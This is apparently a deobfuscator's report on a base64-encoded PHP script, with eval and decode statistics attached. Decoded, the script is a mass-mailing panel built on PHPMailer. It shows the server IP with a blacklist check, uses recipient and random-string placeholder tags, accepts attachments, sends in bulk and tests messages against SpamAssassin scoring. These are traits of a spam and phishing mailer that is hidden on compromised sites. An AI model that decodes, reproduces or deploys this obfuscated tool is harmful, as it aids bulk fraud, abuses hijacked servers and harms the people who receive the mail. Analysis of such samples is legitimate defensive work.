YmFzZW5hbWUnOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2Jhc2VuYW1lJ107CiAgICAgICAgICAgIGNhc2UgUEFUSElORk9fRVhURU5TSU9OOgogICAgICAgICAgICBjYXNlICdleHRlbnNpb24nOgogICAgICAgICAgICAgICAgcmV0dXJuICRyZXRbJ2V4dGVuc2lvbiddOwogICAgICAgICAgICBjYXNlIFBBVEhJTkZPX0ZJTEVOQU1FOgogICA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TsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJHRoaXMtPmxhbmcoJ3ZhcmlhYmxlX3NldCcpIC4gJG5hbWUpOwogICAgICAgICAgICByZXR1cm4gZmFsc2U7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogU3RyaXAgbmV3bGluZXMgdG8gcHJldmVudCBoZWFkZXIgaW5qZWN0aW9uLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0cgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHNlY3VyZUhlYWRlcigkc3RyKQogICAgewogICAgICAgIHJldHVybiB0cmltKHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIpLCAnJywgJHN0cikpOwogICAgfQoKICAgIC8qKgogICAgICogTm9ybWFsaXplIGxpbmUgYnJlYWtzIGluIGEgc3RyaW5nLgogICAgICogQ29udmVydHMgVU5JWCBMRiwgTWFjIENSIGFuZCBXaW5kb3dzIENSTEYgbGluZSBicmVha3MgaW50byBhIHNpbmdsZSBsaW5lIGJyZWFrIGZvcm1hdC4KICAgICAqIERlZmF1bHRzIHRvIENSTEYgKGZvciBtZXNzYWdlIGJvZGllcykgYW5kIHByZXNlcnZlcyBjb25zZWN1dGl2ZSBicmVha3MuCiAgICAgKiBAcGFyYW0gc3RyaW5nICR0ZXh0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRicmVha3R5cGUgV2hhdCBraW5kIG9mIGxpbmUgYnJlYWsgdG8gdXNlLCBkZWZhdWx0cyB0byBDUkxGCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiBub3JtYWxpemVCcmVha3MoJHRleHQsICRicmVha3R5cGUgPSAiXHJcbiIpCiAgICB7CiAg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VibGljIGZ1bmN0aW9uIERLSU1fUVAoJHR4dCkKICAgIHsKICAgICAgICAkbGluZSA9ICcnOwogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkdHh0KTsgJGkrKykgewogICAgICAgICAgICAkb3JkID0gb3JkKCR0eHRbJGldKTsKICAgICAgICAgICAgaWYgKCgoMHgyMSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDNBKSkgfHwgJG9yZCA9PSAweDNDIHx8ICgoMHgzRSA8PSAkb3JkKSAmJiAoJG9yZCA8PSAweDdFKSkpIHsKICAgICAgICAgICAgICAgICRsaW5lIC49ICR0eHRbJGldOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJGxpbmUgLj0gJz0nIC4gc3ByaW50ZignJTAyWCcsICRvcmQpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbGluZTsKICAgIH0KCiAgICAvKioKICAgICAqIEdlbmVyYXRlIGEgREtJTSBzaWduYXR1cmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlcgogICAgICogQHRocm93cyBwaHBtYWlsZXJFeGNlcHRpb24KICAgICAqIEByZXR1cm4gc3RyaW5nIFRoZSBES0lNIHNpZ25hdHVyZSB2YWx1ZQogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gREtJTV9TaWduKCRzaWduSGVhZGVyKQogICAgewogICAgICAgIGlmICghZGVmaW5lZCgnUEtDUzdfVEVYVCcpKSB7CiAgICAgICAgICAgIGlmICgkdGhpcy0+ZXhjZXB0aW9ucykgewogICAgICAgICAgICAgICAgdGhyb3cgbmV3IHBocG1haWxlckV4Y2VwdGlvbigkdGhpcy0+bGFuZygnZXh0ZW5zaW9uX21pc3NpbmcnKSAuICdvcGVuc3NsJyk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgIH0KICAgICAgICAkcHJ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AgICAgICAgICAgICRwaW5mbyA9IG9wZW5zc2xfcGtleV9nZXRfZGV0YWlscygkcHJpdktleSk7CiAgICAgICAgICAgICRoYXNoID0gaGFzaCgnc2hhMjU2JywgJHNpZ25IZWFkZXIpOwogICAgICAgICAgICAvLydNYWdpYycgY29uc3RhbnQgZm9yIFNIQTI1NiBmcm9tIFJGQzM0NDcKICAgICAgICAgICAgLy9AbGluayBodHRwczovL3Rvb2xzLmlldGYub3JnL2h0bWwvcmZjMzQ0NyNwYWdlLTQzCiAgICAgICAgICAgICR0ID0gJzMwMzEzMDBkMDYwOTYwODY0ODAxNjUwMzA0MDIwMTA1MDAwNDIwJyAuICRoYXNoOwogICAgICAgICAgICAkcHNsZW4gPSAkcGluZm9bJ2JpdHMnXSAvIDggLSAoc3RybGVuKCR0KSAvIDIgKyAzKTsKICAgICAgICAgICAgJGViID0gcGFjaygnSConLCAnMDAwMScgLiBzdHJfcmVwZWF0KCdGRicsICRwc2xlbikgLiAnMDAnIC4gJHQpOwoKICAgICAgICAgICAgaWYgKG9wZW5zc2xfcHJpdmF0ZV9lbmNyeXB0KCRlYiwgJHNpZ25hdHVyZSwgJHByaXZLZXksIE9QRU5TU0xfTk9fUEFERElORykpIHsKICAgICAgICAgICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICAgICAgICAgIHJldHVybiBiYXNlNjRfZW5jb2RlKCRzaWduYXR1cmUpOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIG9wZW5zc2xfcGtleV9mcmVlKCRwcml2S2V5KTsKICAgICAgICByZXR1cm4gJyc7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZW5lcmF0ZSBhIERLSU0gY2Fub25pY2FsaXphdGlvbiBoZWFkZXIuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc2lnbkhlYWRlciBIZWFkZXIKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KIC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4dCc7IC8vIFF1ZXJ5IG1ldGhvZAogICAgICAgICRES0lNdGltZSA9IHRpbWUoKTsgLy8gU2lnbmF0dXJlIFRpbWVzdGFtcCA9IHNlY29uZHMgc2luY2UgMDA6MDA6MDAgLSBKYW4gMSwgMTk3MCAoVVRDIHRpbWUgem9uZSkKICAgICAgICAkc3ViamVjdF9oZWFkZXIgPSAiU3ViamVjdDogJHN1YmplY3QiOwogICAgICAgICRoZWFkZXJzID0gZXhwbG9kZSgkdGhpcy0+TEUsICRoZWFkZXJzX2xpbmUpOwogICAgICAgICRmcm9tX2hlYWRlciA9ICcnOwogICAgICAgICR0b19oZWFkZXIgPSAnJzsKICAgICAgICAkZGF0ZV9oZWFkZXIgPSAnJzsKICAgICAgICAkY3VycmVudCA9ICcnOwogICAgICAgIGZvcmVhY2ggKCRoZWFkZXJzIGFzICRoZWFkZXIpIHsKICAgICAgICAgICAgaWYgKHN0cnBvcygkaGVhZGVyLCAnRnJvbTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGZyb21faGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2Zyb21faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnVG86JykgPT09IDApIHsKICAgICAgICAgICAgICAgICR0b19oZWFkZXIgPSAkaGVhZGVyOwogICAgICAgICAgICAgICAgJGN1cnJlbnQgPSAndG9faGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlaWYgKHN0cnBvcygkaGVhZGVyLCAnRGF0ZTonKSA9PT0gMCkgewogICAgICAgICAgICAgICAgJGRhdGVfaGVhZGVyID0gJGhlYWRlcjsKICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJ2RhdGVfaGVhZGVyJzsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJCRjdXJyZW50KSAmJiBzdHJwb3MoJGhlYWRlciwgJyA9PycpID09PSAwKSB7CiAgICAgICAgICAgICAgICAgICAgJCRjdXJyZW50IC49ICRoZWFkZXI7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRjdXJyZW50ID0gJyc7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgJGZyb20gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZnJvbV9oZWFkZXIpKTsKICAgICAgICAkdG8gPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkdG9faGVhZGVyKSk7CiAgICAgICAgJGRhdGUgPSBzdHJfcmVwbGFjZSgnfCcsICc9N0MnLCAkdGhpcy0+REtJTV9RUCgkZGF0ZV9oZWFkZXIpKTsKICAgICAgICAkc3ViamVjdCA9IHN0cl9yZXBsYWNlKAogICAgICAgICAgICAnfCcsCiAgICAgICAgICAgICc9N0MnLAogICAgICAgICAgICAkdGhpcy0+REtJTV9RUCgkc3ViamVjdF9oZWFkZXIpCiAgICAgICAgKTsgLy8gQ29waWVkIGhlYWRlciBmaWVsZHMgKGRraW0tcXVvdGVkLXByaW50YWJsZSkKICAgICAgICAkYm9keSA9ICR0aGlzLT5ES0lNX0JvZHlDKCRib2R5KTsKICAgICAgICAkREtJTWxlbiA9IHN0cmxlbigkYm9keSk7IC8vIExlbmd0aCBvZiBib2R5CiAgICAgICAgJERLSU1iNjQgPSBiYXNlNjRfZW5jb2RlKHBhY2soJ0gqJywgaGFzaCgnc2hhMjU2JywgJGJvZHkpKSk7IC8vIEJhc2U2NCBvZiBwYWNrZWQgYmluYXJ5IFNIQS0yNTYgaGFzaCBvZiBib2R5CiAgICAgICAgaWYgKCcnID09ICR0aGlzLT5ES0lNX2lkZW50aXR5KSB7CiAgICAgICAgICAgICRpZGVudCA9ICcnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRpZGVudCA9ICcgaT0nIC4gJHRoaXMtPkRLSU1faWRlbnRpdHkgLiAnOyc7CiAgICAgICAgfQogICAgICAgICRka2ltaGRycyA9ICdES0lNLVNpZ25hdHVyZTogdj0xOyBhPScgLgogICAgICAgICAgICAkREtJTXNpZ25hdHVyZVR5cGUgLiAnOyBxPScgLgogICAgICAgICAgICAkREtJTXF1ZXJ5IC4gJzsgbD0nIC4KICAgICAgICAgICAgJERLSU1sZW4gLiAnOyBzPScgLgogICAgICAgICAgICAkdGhpcy0+REtJTV9zZWxlY3RvciAuCiAgICAgICAgICAgICI7XHJcbiIgLgogICAgICAgICAgICAiXHR0PSIgLiAkREtJTXRpbWUgLiAnOyBjPScgLiAkREtJTWNhbm9uaWNhbGl6YXRpb24gLiAiO1xyXG4iIC4KICAgICAgICAgICAgIlx0aD1Gcm9tOlRvOkRhdGU6U3ViamVjdDtcclxuIiAuCiAgICAgICAgICAgICJcdGQ9IiAuICR0aGlzLT5ES0lNX2RvbWFpbiAuICc7JyAuICRpZGVudCAuICJcclxuIiAuCiAgICAgICAgICAgICJcdHo9JGZyb21cclxuIiAuCiAgICAgICAgICAgICJcdHwkdG9cclxuIiAuCiAgICAgICAgICAgICJcdHwkZGF0ZVxyXG4iIC4KICAgICAgICAgICAgIlx0fCRzdWJqZWN0O1xyXG4iIC4KICAgICAgICAgICAgIlx0Ymg9IiAuICRES0lNYjY0IC4gIjtcclxuIiAuCiAgICAgICAgICAgICJcdGI9IjsKICAgICAgICAkdG9TaWduID0gJHRoaXMtPkRLSU1fSGVhZGVyQygKICAgICAgICAgICAgJGZyb21faGVhZGVyIC4gIlxyXG4iIC4KICAgICAgICAgICAgJHRvX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRkYXRlX2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRzdWJqZWN0X2hlYWRlciAuICJcclxuIiAuCiAgICAgICAgICAgICRka2ltaGRycwogICAgICAgICk7CiAgICAgICAgJHNpZ25lZCA9ICR0aGlzLT5ES0lNX1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AgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlNlcnZlciBJUCBBZGRyZXNzIDogPGI+Jy4kX1NFUlZFUlsnU0VSVkVSX0FERFInXS4nIDwvYj4gPGEgaHJlZj0iP2NoZWNrX2lwPScuJF9TRVJWRVJbJ1NFUlZFUl9BRERSJ10uJyIgdGFyZ2V0PSJfYmxhbmsiIGNsYXNzPSJsYWJlbCBsYWJlbC1wcmltYXJ5Ij5DaGVjayBCbGFja2xpc3QgPGkgY2xhc3M9ImdseXBoaWNvbiBnbHlwaGljb24tc2VhcmNoIj48L2k+PC9hPjwvbGk+CiAgICAgICAgICAgICAgICA8bGk+UEhQIFZlcnNpb24gOiA8Yj4nLnBocHZlcnNpb24oKS4nPC9iPjwvbGk+CiAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgIDwvdWw+CiAgICAgICAgICAgIDxoND5IRUxQPC9oND4KICAgICAgICAgICAgPHVsPgogICAgICAgICAgICAgICAgPGxpPlstZW1haWwtXSA6IDxiPlJlY2l2ZXIgRW1haWw8L2I+IChlbWFpbHVzZXJAZW1haWxkb21haW4uY29tKTwvbGk+CiAgICAgICAgICAgICAgICA8dWw+CiAgICAgICAgICAgICAgICAgICAgPGxpPlstZW1haWx1c2VyLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWx1c2VyKSA8L2xpPgogICAgICAgICAgICAgICAgICAgIDxsaT5bLWVtYWlsZG9tYWluLV0gOiA8Yj5FbWFpbCBVc2VyPC9iPiAoZW1haWxkb21haW4uY29tKSA8L2xpPgogICAgICAgICAgICAgICAgPC91bD4KICAgICAgICAgICAgICAgIDxsaT5bLXRpbWUtXSA6IDxiPkRhdGUgYW5kIFRpbWU8L2I+ICgnLmRhdGUoIm0vZC9ZIGg6aTpzIGEiLCB0aW1lKCkpLicpPC9saT4KICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPGxpPlstcmFuZG9tc3RyaW5nLV0gOiA8Yj5SYW5kb20gc3Rya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gICRtYWlsLT5BbHRCb2R5ID1zdHJpcF90YWdzKGxlYWZDbGVhcigkbWVzc2FnZUxldHRlciwkZW1haWwpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlICRtYWlsLT5Jc0hUTUwoZmFsc2UpOwogICAgICAgICAgICAkbWFpbC0+Q2hhclNldCA9ICRjaGFyc2V0OwogICAgICAgICAgICAkbWFpbC0+RW5jb2RpbmcgPSAkZW5jb2Rpbmc7CiAgICAgICAgICAgIGZvcigkaT0wOyAkaTxjb3VudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ25hbWUnXSk7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldICE9ICIiKXsKICAgICAgICAgICAgICAgICAgICAkbWFpbC0+QWRkQXR0YWNobWVudCgkX0ZJTEVTWydhdHRhY2htZW50J11bJ3RtcF9uYW1lJ11bJGldLCRfRklMRVNbJ2F0dGFjaG1lbnQnXVsnbmFtZSddWyRpXSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICB9CiAgICAgICAgICAgIAogICAgICAgICAgICBpZiAoISRtYWlsLT5zZW5kKCkpIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtZGVmYXVsdCI+Jy5odG1sc3BlY2lhbGNoYXJzKCRtYWlsLT5FcnJvckluZm8pLic8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9ImNvbC1sZy02Ij48c3BhbiBjbGFzcz0ibGFiZWwgbGFiZWwtc3VjY2VzcyI+T2s8L3NwYW4+PC9kaXY+JzsKICAgICAgICAgICAgfQogICAgICAgICAgICBwcmludCAiPGJyPlxyXG4iOwogICAgICAgIH0KICAgICAgICAkeCsr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aGVjay5wb3N0bWFya2FwcC5jb20vZmlsdGVyJyk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgaHR0cF9idWlsZF9xdWVyeShhcnJheSgnZW1haWwnID0+ICRtZXNzYWdlSGVhZGVycywnb3B0aW9ucyc9Pidsb25nJykpKTsKICAgIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgMCk7CiAgICBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVElNRU9VVCwgMTUpOwogICAgJHJlc3BvbnNlID0gY3VybF9leGVjKCRjaCk7CiAgICAkcmVzcG9uc2UgPSBqc29uX2RlY29kZSgkcmVzcG9uc2UpOwogICAgcHJpbnQgJyAgICA8ZGl2IGNsYXNzPSJjb2wtbGctMTIiPic7CiAgICBpZiAoJHJlc3BvbnNlLT5zdWNjZXNzID09IFRSVUUgKXsKICAgICAgICAkc2NvcmUgPSAkcmVzcG9uc2UtPnNjb3JlOwogICAgICAgIGlmICgkc2NvcmUgPiA1ICkgJGNsYXNzPSJkYW5nZXIiOwogICAgICAgIGVsc2UgJGNsYXNzPSJzdWNjZXNzIjsKICAgICAgICAgICAgcHJpbnQgJzxkaXYgY2xhc3M9InRleHQtJy4kY2xhc3MuJyI+WW91ciBTcGFtQXNzYXNzaW4gc2NvcmUgaXMgJy4kc2NvcmUuJyAgPC9kaXY+CjxkaXY+RnVsbCBSZXBvcnQgOiA8cHJlPicuJHJlc3BvbnNlLT5yZXBvcnQuJzwvcHJlPjwvZGl2Pic7CnByaW50ICcgICAgPC9kaXY+JzsKICAgIH0KfQpwcmludCAnPC9ib2R5Pic7"));
Function Calls
base64_decode | 1 |
Stats
MD5 | d5a2e3e47bb82362c7c86d5989308251 |
Eval Count | 1 |
Decode Time | 280 ms |